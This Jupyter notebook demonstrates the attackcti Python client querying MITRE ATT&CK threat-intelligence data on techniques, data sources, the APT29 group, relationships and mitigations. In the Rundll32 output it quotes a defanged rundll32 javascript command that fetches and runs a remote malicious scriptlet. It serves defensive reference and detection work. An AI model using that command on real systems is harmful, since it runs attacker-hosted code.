{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# **MITRE ATT&CK API FILTERS**: Python Client\n",
    "------------------"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Import ATTACK API Client"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [],
   "source": [
    "from attackcti import attack_client"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Import Extra Libraries"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [],
   "source": [
    "from pandas import *\n",
    "from pandas.io.json import json_normalize"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Initialize ATT&CK Client Variable"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [],
   "source": [
    "lift = attack_client()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get Technique by Name (TAXII)\n",
    "You can use a custom method in the attack_client class to get a technique across all the matrices by its name. It is case sensitive."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [],
   "source": [
    "technique_name = lift.get_technique_by_name('Rundll32')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "[AttackPattern(type='attack-pattern', id='attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2017-05-31T21:31:06.045Z', modified='2019-01-31T01:30:34.695Z', name='Rundll32', description='The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\\n\\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\\n\\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\\\..\\\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1085', external_id='T1085'), ExternalReference(source_name='Trend Micro CPL', description='Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', url='https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'), ExternalReference(source_name='This is Security Command Line Confusion', description='B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', url='https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Ricardo Dias', 'Casey Smith'], x_mitre_data_sources=['File monitoring', 'Process monitoring', 'Process command-line parameters', 'Binary file metadata'], x_mitre_defense_bypassed=['Anti-virus', 'Application whitelisting', 'Digital Certificate Validation'], x_mitre_detection='Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.', x_mitre_permissions_required=['User'], x_mitre_platforms=['Windows'], x_mitre_version='1.1')]"
      ]
     },
     "execution_count": 5,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "technique_name"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get Data Sources from All Techniques (TAXII)\n",
    "* You can also get all the data sources available in ATT&CK\n",
    "* Currently the only techniques with data sources are the ones in Enterprise ATT&CK."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [],
   "source": [
    "data_sources = lift.get_data_sources()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "50"
      ]
     },
     "execution_count": 7,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "len(data_sources)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "['Process command-line parameters',\n",
       " 'Process monitoring',\n",
       " 'File monitoring',\n",
       " 'SSL/TLS inspection',\n",
       " 'Web logs',\n",
       " 'Web application firewall logs',\n",
       " 'Network intrusion detection system',\n",
       " 'Network protocol analysis',\n",
       " 'Network device logs',\n",
       " 'Netflow/Enclave netflow',\n",
       " 'Sensor health and status',\n",
       " 'Process use of network',\n",
       " 'BIOS',\n",
       " 'Component firmware',\n",
       " 'Packet capture',\n",
       " 'Application logs',\n",
       " 'Windows Registry',\n",
       " 'Services',\n",
       " 'Windows event logs',\n",
       " 'API monitoring',\n",
       " 'Kernel drivers',\n",
       " 'MBR',\n",
       " 'DNS records',\n",
       " 'PowerShell logs',\n",
       " 'Anti-virus',\n",
       " 'Email gateway',\n",
       " 'DLL monitoring',\n",
       " 'Authentication logs',\n",
       " 'Data loss prevention',\n",
       " 'Third-party application logs',\n",
       " 'Windows Error Reporting',\n",
       " 'Asset management',\n",
       " 'Web proxy',\n",
       " 'Binary file metadata',\n",
       " 'Loaded DLLs',\n",
       " 'Detonation chamber',\n",
       " 'Mail server',\n",
       " 'System calls',\n",
       " 'Browser extensions',\n",
       " 'Malware reverse engineering',\n",
       " 'User interface',\n",
       " 'Environment variable',\n",
       " 'Access tokens',\n",
       " 'Digital certificate logs',\n",
       " 'Disk forensics',\n",
       " 'Host network interface',\n",
       " 'WMI Objects',\n",
       " 'VBR',\n",
       " 'Named Pipes',\n",
       " 'EFI']"
      ]
     },
     "execution_count": 8,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "data_sources"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get Any STIX Object by ID (TAXII)\n",
    "* You can get any STIX object by its id across all the matrices. It is case sensitive.\n",
    "* You can use the following STIX Object Types:\n",
    "  * attack-pattern >  techniques\n",
    "  * course-of-action > mitigations\n",
    "  * intrusion-set > groups\n",
    "  * malware\n",
    "  * tool"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [],
   "source": [
    "object_by_id = lift.get_object_by_attack_id('attack-pattern', 'T1307')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "[AttackPattern(type='attack-pattern', id='attack-pattern--286cc500-4291-45c2-99a1-e760db176402', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2017-12-14T16:46:06.044Z', modified='2018-10-17T00:14:20.652Z', name='Acquire and/or use 3rd party infrastructure services', description='A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')], external_references=[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1307', external_id='T1307'), ExternalReference(source_name='LUCKYCAT2012', description='Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_detectable_by_common_defenses='No', x_mitre_detectable_by_common_defenses_explanation='3rd party services highly leveraged by legitimate services, hard to distinguish from background noise.  While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.', x_mitre_difficulty_for_adversary='Yes', x_mitre_difficulty_for_adversary_explanation='Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.', x_mitre_old_attack_id='PRE-T1084', x_mitre_version='1.0')]"
      ]
     },
     "execution_count": 10,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "object_by_id"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get Any Group by Alias (TAXII)\n",
    "You can get any Group by its Alias property across all the matrices. It is case sensitive."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [],
   "source": [
    "group_name = lift.get_group_by_alias('Cozy Bear')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "[IntrusionSet(type='intrusion-set', id='intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2017-05-31T21:31:52.748Z', modified='2019-07-25T14:25:52.859Z', name='APT29', description='[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)', aliases=['APT29', 'YTTRIUM', 'The Dukes', 'Cozy Bear', 'CozyDuke'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/groups/G0016', external_id='G0016'), ExternalReference(source_name='APT29', description='(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)'), ExternalReference(source_name='YTTRIUM', description='(Citation: Microsoft Unidentified Dec 2018)'), ExternalReference(source_name='The Dukes', description='(Citation: F-Secure The Dukes)'), ExternalReference(source_name='Cozy Bear', description='(Citation: Crowdstrike DNC June 2016)'), ExternalReference(source_name='CozyDuke', description='(Citation: Crowdstrike DNC June 2016)'), ExternalReference(source_name='F-Secure The Dukes', description='F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.', url='https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf'), ExternalReference(source_name='GRIZZLY STEPPE JAR', description='Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.', url='https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf'), ExternalReference(source_name='Crowdstrike DNC June 2016', description='Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.', url='https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/'), ExternalReference(source_name='FireEye APT29 Nov 2018', description='Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.', url='https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html'), ExternalReference(source_name='Microsoft Unidentified Dec 2018', description='Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.', url='https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_version='1.2')]"
      ]
     },
     "execution_count": 12,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "group_name"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get Relationships by Any Object (TAXII)\n",
    "* You can get available relationships defined in ATT&CK of type **uses** and **mitigates** for specific objects across all the matrices."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [],
   "source": [
    "groups = lift.get_groups()\n",
    "one_group = groups[0]\n",
    "relationships = lift.get_relationships_by_object(one_group)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "Relationship(type='relationship', id='relationship--380743e5-616c-4524-96e6-d545e5b653ea', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2019-07-22T15:49:28.744Z', modified='2019-07-22T15:49:28.744Z', relationship_type='uses', description='[Soft Cell](https://attack.mitre.org/groups/G0093) used Web shells and [HTRAN](https://attack.mitre.org/software/S0040) for C2 as well as to exfiltrate data.', source_ref='intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258', target_ref='attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d', external_references=[ExternalReference(source_name='Cybereason Soft Cell June 2019', description='Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.', url='https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])"
      ]
     },
     "execution_count": 14,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "relationships[0]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get All Techniques with Mitigations (TAXII)\n",
    "The difference with this function and **get_all_techniques()** is that **get_techniques_mitigated_by_all_mitigations** returns techniques that have mitigations mapped to them."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [],
   "source": [
    "techniques_mitigated = lift.get_techniques_mitigated_by_all_mitigations()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "AttackPattern(type='attack-pattern', id='attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2017-05-31T21:30:35.334Z', modified='2018-10-17T00:14:20.652Z', name='Standard Cryptographic Protocol', description='Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1032', external_id='T1032'), ExternalReference(source_name='SANS Decrypting SSL', description='Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', url='http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840'), ExternalReference(source_name='SEI SSL Inspection Risks', description='Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', url='https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html'), ExternalReference(source_name='Fidelis DarkComet', description='Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.', url='https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Packet capture', 'Netflow/Enclave netflow', 'Malware reverse engineering', 'Process use of network', 'Process monitoring', 'SSL/TLS inspection'], x_mitre_detection='SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\\n\\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\\n\\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)', x_mitre_network_requirements=True, x_mitre_platforms=['Linux', 'macOS', 'Windows'], x_mitre_version='1.0')"
      ]
     },
     "execution_count": 16,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "techniques_mitigated[0]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get Techniques Used by Software (TAXII)\n",
    "This the function returns information about a specific software STIX object."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "all_software = lift.get_software()\n",
    "one_software = all_software[0]\n",
    "software_techniques = lift.get_techniques_used_by_software(one_software)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "software_techniques[0]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get Techniques Used by Group (TAXII)\n",
    "If you do not provide the name of a specific **Group** (Case Sensitive), the function returns information about all the groups available across all the matrices."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "groups = lift.get_groups()\n",
    "one_group = groups[0]\n",
    "group_techniques = lift.get_techniques_used_by_group(one_group)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "group_techniques[0]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Get Software Used by Group (TAXII)\n",
    "You can retrieve every software (malware or tool) mapped to a specific Group STIX object"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "groups = lift.get_groups()\n",
    "one_group = groups[0]\n",
    "group_software = lift.get_software_used_by_group(one_group)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "group_software[0]"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.7.3"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}